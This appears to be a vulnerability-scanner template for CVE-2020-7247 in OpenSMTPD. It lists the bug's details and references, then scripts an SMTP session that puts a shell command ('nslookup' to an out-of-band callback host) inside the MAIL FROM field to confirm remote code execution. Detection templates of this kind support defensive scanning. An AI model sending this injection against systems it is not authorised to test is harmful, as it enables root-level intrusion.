65 lines
2.0 KiB
YAML
65 lines
2.0 KiB
YAML
id: CVE-2020-7247
|
|
|
|
info:
|
|
name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
description: |
|
|
OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
|
|
reference:
|
|
- https://www.openwall.com/lists/oss-security/2020/01/28/3
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-7247
|
|
- https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45
|
|
- http://www.openwall.com/lists/oss-security/2020/01/28/3
|
|
- http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
|
|
remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-7247
|
|
cwe-id: CWE-755
|
|
cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:*
|
|
epss-score: 0.9749
|
|
metadata:
|
|
max-request: 1
|
|
product: opensmtpd
|
|
vendor: openbsd
|
|
tags: cve,cve2020,smtp,opensmtpd,network,rce,oast,kev
|
|
tcp:
|
|
- host:
|
|
- "{{Hostname}}"
|
|
port: 25
|
|
|
|
inputs:
|
|
- read: 1024
|
|
|
|
- data: "helo target\r\n"
|
|
read: 1024
|
|
|
|
- data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
|
|
read: 1024
|
|
|
|
- data: "RCPT TO:<root>\r\n"
|
|
read: 1024
|
|
|
|
- data: "DATA\r\n"
|
|
read: 1024
|
|
|
|
- data: "\r\nxxxx\r\n.\r\n"
|
|
read: 1024
|
|
|
|
- data: "QUIT\r\n"
|
|
read: 1024
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: raw
|
|
words:
|
|
- "Message accepted for delivery"
|